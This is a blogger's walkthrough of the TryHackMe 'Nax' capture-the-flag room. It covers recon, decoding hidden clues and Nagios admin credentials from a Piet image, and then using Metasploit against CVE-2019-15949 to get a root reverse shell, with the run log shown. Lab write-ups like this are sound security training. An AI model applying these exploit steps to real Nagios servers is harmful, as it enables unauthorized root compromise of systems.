THM - Nax

Ceisc's write up for the Nax room on TryHackMe.

THM - Nax
The room card as displayed in TryHackMe

A few days ago I decided to try the Nax room from TryHackMe. It's one of the harder rooms I've tried on THM and, so far, probably the one I've enjoyed the most.

The room tags give you the information that it's going to use an RCE (remote code execution), that the vulnerability is CVE-2019-15949 and that the system is running Nagios. (The logo used for the room is leading N from Nagios' logo as a further hint.)

Starting off

Like with most of the machines presented by THM (aside from the guided rooms, which tell you what you should be running) I generally get started with a quick nmap command to see whether the machine has any common ports open and what service versions are running. The command I ran was nmap -sV -sC -T4 -oN nax.nmap 10.10.80.170. This yielded the following information:

Nmap scan report for 10.10.80.170
Host is up (0.031s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 62:1d:d9:88:01:77:0a:52:bb:59:f9:da:c1:a6:e3:cd (RSA)
|   256 af:67:7d:24:e5:95:f4:44:72:d1:0c:39:8d:cc:21:15 (ECDSA)
|_  256 20:28:15:ef:13:c8:9f:b8:a7:0f:50:e6:2f:3b:1e:57 (ED25519)
25/tcp  open  smtp     Postfix smtpd
|_smtp-commands: ubuntu.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-03-23T23:42:04
|_Not valid after:  2030-03-21T23:42:04
|_ssl-date: TLS randomness does not represent time
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=192.168.85.153/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US
| Not valid before: 2020-03-24T00:14:58
|_Not valid after:  2030-03-22T00:14:58
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: Host:  ubuntu.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.32 seconds

As you can see, the server is running (among other things) a web server open on ports 80 and 443. This is pretty much what I expected to see as I was expecting we'd find a Nagios instance running and this was most likely to be available over these protocols.

Looking around the web site

At this point, I fired up my trusty browser (I use Chrome, but it probably doesn't matter what browser you use for this challenge) and pointed it to the HTTP port of the server. The initial page we got was:

Initial view of the web site

As I was expecting to have seen a Nagios instance this was a little unexpected, so I threw /nagios on the end of the URL. This resulted in a login dialog showing up:

Login prompt at /nagios

The reason this is looking at localhost:8888 rather than 10.10.80.170:80 is because I'm accessing this through SSH port forwarding rather than direct.

That aside, it looks like /nagios is a viable location and has some form of security in place preventing any old Tom, Dick or Harry accessing it.

Taking a look at the questions on THM, the first thing it asks you to find is the name of the hidden file:

Question #1

This would suggest to me that we're looking for a file somewhere on the server. Initially I fired up GoBuster to trawl through a large list of possible files/directories which may exist on the server.

Whilst it was doing this, I took a quick look at the opening page again. At the bottom it mentions elements and had a list of what looked to be elements from the periodic table:

List of elements?

Given that GoBuster was likely to take some time, I thought I'd look up the names and atomic numbers of the elements given:

Ag - Silver - 47
Hg - Mercury - 80
Ta - Tantalum - 73
Sb - Antimony - 51
Po - Polonium - 84
Pd - Palladium - 46
Hg - Mercury - 80
Pt - Platinum - 78
Lr - Lawrencium - 103
List of the element symbols and corresponding names and atomic numbers

These numbers looked suspiciously like they could be the decimal representation of something useful, and the number of elements listed was the same as the length of the mask given in the answer box for the question.

I quickly opened up an interactive Python session to turn these values into a string, converting from their decimal values to the ASCII character they represent and joining it into a string:

>>> arr = [47, 80, 73, 51, 84, 46, 80, 78, 103]
>>> "".join(chr(i) for i in arr)
'/PI3T.PNg'
Converting the decimal values to a string

Sticking this in the browser got me the following image:

Image retrieved from /PI3T.PNg

It wasn't immediately obvious what to do with this image, but I put the name of the file into the answer box for Question #1 and it showed as being correct.

On to Question 2:

Question #2

It seemed like the obvious thing to do at this stage was to fire up ExifTool to see if there's anything useful in the metadata of the file. The command I ran was exiftool PI3T.PNg and was rewarded with the following:

ExifTool Version Number         : 11.88
File Name                       : PI3T.PNg
Directory                       : .
File Size                       : 959 kB
File Modification Date/Time     : 2020:03:25 04:00:15+00:00
File Access Date/Time           : 2020:05:22 08:20:43+01:00
File Inode Change Date/Time     : 2020:05:22 08:20:41+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 990
Image Height                    : 990
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 768 bytes, use -b option to extract)
Transparency                    : (Binary data 256 bytes, use -b option to extract)
Artist                          : Piet Mondrian
Copyright                       : Piet Mondrian, tryhackme 2020
Image Size                      : 990x990
Megapixels                      : 0.980

As you can see, the Artist is listed as Piet Mondrian. This turns out to be the correct answer for question 2.

The logical step from this point would be to move on to Question 3, so that's exactly what I did:

Question #3

Question 4 looked somewhat related as well:

Question #4

This suggested to me that the answers we expected to be found within the image file.

I initially ran stegoveritas against the file as it's proven in the past that it's quite helpful for finding steganographic data inside of file. In this instance it didn't seem to work.

On searching Google for piet mondrian "cryptography" I discovered a reddit post where a similar challenge had been encountered and within the comments found a link to dangermouse.net/esoteric/piet.html. This page describes programming language using colours in an image as a form of programming language. This site would explain the DM's Esoteric Programming tag in the room card.

Further searching revealed that someone had gone to the trouble of creating a compiler for this language called repiet.

I used git to clone the source and ran through the setup for repiet which installed a python module called repiet. I then ran this module against the image to produce a python output file. The exact command I ran was python3 -m repiet PI3T.PNg --codel_size 10. My initial run hadn't included the codel_size parameter and the output from the code didn't seem to work. I thought I'd try the param and just randomly set it to 10. This worked and the python code, when run, produced the following output:

nagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdYnagiosadmin%n3p3UQ&9BjLp4$7uhWdY
Output from the generated Python

It actually generated significantly more than this - I think it was looping and just continued to dump the same contents to my terminal screen until I hit Ctrl-C to stop it.

It may have done differently had I chosen a different codel_size, but I didn't feel like trying any other sizes as I already had what I needed:

nagiosadmin%n3p3UQ&9BjLp4$7uhWdY
Relevant part of the output

This looked suspiciously like a username and password. I entered nagiosadmin for Question 3 and %n3p3UQ&9BjLp4$7uhWdY for Question 4.

Both of these were accepted as being correct but when I went to log in to the Nagios instance with them I kept getting told the credentials were invalid. It turns out that the % I had entered at the beginning of the password was a separator and not part of the password, but the THM system had accepted it as the answer.

Breaking In

Moving swiftly on to Question 5, we're asked what the CVE number was for the vulnerability we needed to exploit.

Question #5

I had a look on exploit-db to see what I could find for Nagios which gave us an authenticated attack vector (I hadn't noticed that the CVE number was listed in the room card until I started on this write-up). The top answer looked promising:

Search result on exploit-db for Nagios
Details for the vulnerability on exploit-db

I used the CVE number from the search result as the answer for Question #5.

Question 6 isn't really a question, but more of an instruction on how to exploit this vulnerability. It suggests using Metasploit, which is handy as that was exactly what I was going to try anyway:

Question #6

Question 7 asks for you to tell it what the path and name are for the Metasploit module you need to use to exploit the system.

Question #7

Simply running search 2019-15949 was all that was needed to locate the correct module:

msf5 > search 2019-15949

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/linux/http/nagios_xi_authenticated_rce  2019-07-29       excellent  Yes    Nagios XI Authenticated Remote Command Execution
Searching Metasploit for the correct module

Simply typing use 0 into msfconsole and filling in the correct options was sufficient to break into the system:

Module options for Metasploit
msf5 exploit(linux/http/nagios_xi_authenticated_rce) > run

[*] Started reverse TCP handler on 10.9.0.232:4444 
[*] Found Nagios XI application with version 5.5.6.
[*] Uploading malicious 'check_ping' plugin...
[*] Command Stager progress - 100.00% done (897/897 bytes)
[+] Successfully uploaded plugin.
[*] Executing plugin...
[*] Waiting for the plugin to request the final payload...
[*] Sending stage (3012516 bytes) to 10.10.80.170
[*] Meterpreter session 1 opened (10.9.0.232:4444 -> 10.10.80.170:33636) at 2020-05-25 20:50:31 +0100
[*] Deleting malicious 'check_ping' plugin...
[+] Plugin deleted.

meterpreter > getuid
Server username: no-user @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > 
Running the Metasploit module

At this point we're in the system as the root user, so it's pretty much game-over for the server.

The last two questions can be simply answer by rummaging around the file system and viewing the contents of the files however you want:

Questions #8 & #9

Summary

As I said at the beginning, I found this a very interesting room to complete and was rather pleased with myself that I managed to work it all out by myself.

I found it interesting that the username and password were encoded into the picture the way they were along with the use of chemical elements to lead you to the picture in the first place.

I doubt that any of these methods would actually be found in the wild on a real pen test engagement but stranger things have probably happened. When I get my skills up to the point where I'm employed to complete pen tests, I'll happily report back if I find anything like this out there.

Thanks for taking the time to read this and hope it helped if you came here for assistance completing the room.